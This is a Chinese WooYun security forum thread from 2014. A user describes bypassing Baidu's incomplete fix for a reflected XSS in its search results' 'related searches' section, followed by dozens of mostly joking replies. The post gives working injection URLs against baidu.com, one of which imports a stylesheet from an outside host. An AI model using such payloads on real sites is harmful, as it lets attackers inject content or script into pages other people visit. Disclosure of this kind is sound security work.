当前位置：WooYun(白帽子技术社区) >> xss >> 百度这样修复首页xss

百度这样修复首页xss

random_ (精神的最高境界是自由) | 2014-12-12 21:33

之前发的这个http://zone.wooyun.org/content/17235，大家应该看到了，因为没含量就分享出来娱乐。
    问题出在“相关搜索”里，<div class="result-op xpath-log" tpl="right_recommends" data-click="{'fm':'alxr'所以测试代码是">或" onxxx="xxx这样的。晚上一看，百度修复了，把"\/三个用\转义。再细看把标签属性有双引号变单引号，如<div class="result-op xpath-log" tpl="right_recommends" data-click='{"fm":"alxr"于是测试单引号，尼玛又出来了！相关人员真的是没有整体思维，怎么能在百度搜索混呢。

    效果代码:
http://www.baidu.com/s?wd=%27%3E%3Cstyle%3E@import+url(http://tmxk.org/.css);+z-index:9999%27%3E

    一般测试:
http://www.baidu.com/s?wd=%27%3E%3Ciframe%20%3E

分享到：
47 个回复
  1. 1#
    回复此人 感谢
    Neeke | 2014-12-12 21:43

    我屮艸芔茻！

  2. 2#
    回复此人 感谢
    乌云 ()ޝ　　　　　　　　　　　　　　　　　　　　　　() | 2014-12-12 21:51

    我屮艸芔茻！

  3. 3#
    回复此人 感谢
    月光光 | 2014-12-12 21:57

    我屮艸芔茻！

  4. 4#
    回复此人 感谢
    孤月寒城 (握了棵草) | 2014-12-12 21:57

    我屮艸芔茻！

  5. 5#
    回复此人 感谢
    灬相随灬 (大胆天下去得，小心寸步难行。) | 2014-12-12 21:59

    我屮艸芔茻！

  6. 6#
    回复此人 感谢
    小胖子 (z7y首席代言人，园长的表哥...) | 2014-12-12 22:10

    我屮艸芔茻！

  7. 7#
    回复此人 感谢
    流年 | 2014-12-12 22:13

    我屮艸芔茻！

  8. 8#
    回复此人 感谢
    泳少 (此号被射！by U神) | 2014-12-12 22:17

    我屮艸芔茻！

  9. 9#
    回复此人 感谢
    whking | 2014-12-12 22:21

    我屮艸芔茻！

  10. 10#
    回复此人 感谢
    漂流瓶 (http://shota.cc/‮) | 2014-12-12 22:22

    我只想知道谜底是啥

  11. 11#
    回复此人 感谢
    临雨听风 | 2014-12-12 22:25

    快告诉我谜底啊~

  12. 12#
    回复此人 感谢
    寒江不钓 | 2014-12-12 22:26

    世间竟有如此出尘艳艳之女子

  13. 13#
    回复此人 感谢
    covertops (爱 上 乌云) | 2014-12-12 22:31

    醉了

  14. 14#
    回复此人 感谢
    Knight (查水表。缴wb不杀) | 2014-12-12 22:45

    good job!

  15. 15#
    回复此人 感谢
    YKS (‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌) | 2014-12-12 22:52

    66666666666666666

  16. 16#
    回复此人 感谢
    叮咚叮咚 | 2014-12-12 22:52

    碉堡了。。。佩服

  17. 17#
    回复此人 感谢
    D_in | 2014-12-13 00:23

    我屮艸芔茻！

  18. 18#
    回复此人 感谢
    Martes (你让我说点啥好) | 2014-12-13 01:14

    百度这问题都有 呵呵

  19. 19#
    回复此人 感谢
    z7y丶 | 2014-12-13 03:08

    我屮艸芔茻！

  20. 20#
    回复此人 感谢
    black hook (此处内容为隐藏内容，点击右边感谢即可查看此内容) | 2014-12-13 03:56

    谜底是小笼女？

  21. 21#
    回复此人 感谢
    HuGtion | 2014-12-13 08:33

    我屮艸芔茻！

  22. 22#
    回复此人 感谢
    暗羽 (喵喵喵喵喵喵喵喵) | 2014-12-13 09:00

    我屮艸芔茻！

  23. 23#
    回复此人 感谢
    小鸣子 | 2014-12-13 09:27

    陈什么那个小脓女。。

  24. 24#
    回复此人 感谢
    RainShine (I'm your angel of music.) | 2014-12-13 09:36

    我屮艸芔茻！

  25. 25#
    回复此人 感谢
    Mr.FooL (‮币云乌取获费免谢感侧右击点(() | 2014-12-13 10:07

    我屮艸芔茻！

  26. 26#
    回复此人 感谢
    树上草 (专业装逼中华上下五千年) | 2014-12-13 10:35

    66666666666666666666666666666

  27. 27#
    回复此人 感谢
    Cyrils | 2014-12-13 10:49

    我屮艸芔茻！

  28. 28#
    回复此人 感谢
    国士无双 (我来找快乐。) | 2014-12-13 11:00

    我屮艸芔茻！

  29. 29#
    回复此人 感谢
    kow (我只是个酱油。。。) | 2014-12-13 11:36

    我屮艸芔茻！

  30. 30#
    回复此人 感谢
    迦南 (我不是玩黑，我就是认真) | 2014-12-13 11:57

    我屮艸芔茻！

  31. 31#
    回复此人 感谢
    Max (随便看看) | 2014-12-13 12:00

    碉堡

  32. 32#
    回复此人 感谢
    LauRen (不登高山，不知天之高也；不临深溪，不知地之厚也。) | 2014-12-13 13:06

    我屮艸芔茻！

  33. 33#
    回复此人 感谢
    丿心魇 | 2014-12-13 13:32

    还没修复 我屮艸芔茻！

  34. 34#
    回复此人 感谢
    默秒全 | 2014-12-13 14:25

    我屮艸芔茻！

  35. 35#
    回复此人 感谢
    命运 | 2014-12-13 18:10

    还没修复吊炸天

  36. 36#
    回复此人 感谢
    random_ (精神的最高境界是自由) | 2014-12-13 19:48

    第一个链接因为已被百度快照，场景不能复现。

  37. 37#
    回复此人 感谢
    浮生 | 2014-12-13 19:50

    我屮艸芔茻！

  38. 38#
    回复此人 感谢
    ztaosony | 2014-12-13 20:29

    我屮艸芔茻！

  39. 39#
    回复此人 感谢
    咖啡 (SELECT) | 2014-12-13 20:52

    肏

  40. 40#
    回复此人 感谢
    timor | 2014-12-13 22:30

    小龙包.....

  41. 41#
    回复此人 感谢
    鸡鸡 (产品经理) | 2014-12-13 22:32

    春丽？

  42. 42#
    回复此人 感谢
    噬魂 (By 噬魂) | 2014-12-13 23:10

    我屮艸芔茻！

  43. 43#
    回复此人 感谢
    不悔梦归处 | 2014-12-15 13:52

    我屮艸芔茻！

  44. 44#
    回复此人 感谢
    Mujj (为何我的眼中饱含泪水？因为我装逼装的深沉) | 2014-12-15 14:26

    世间竟有如此出尘艳艳之女子

  45. 45#
    回复此人 感谢
    rootnmxx | 2014-12-16 10:34

    我屮艸芔茻！

  46. 46#
    回复此人 感谢
    围剿 (七月流火，八月未央，九月白露凝成轻霜) | 2014-12-17 10:23

    天马行空

  47. 47#
    回复此人 感谢
    小法海 | 2014-12-22 03:16

    [i][b]我屮艸芔茻！[/b][/i]

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论，跨站师，渗透师，结界师聚集之地

登录

其它内容


Copyright © 2010 www.wooyun.org All Rights Reserved. 吉ICP备12001400号-1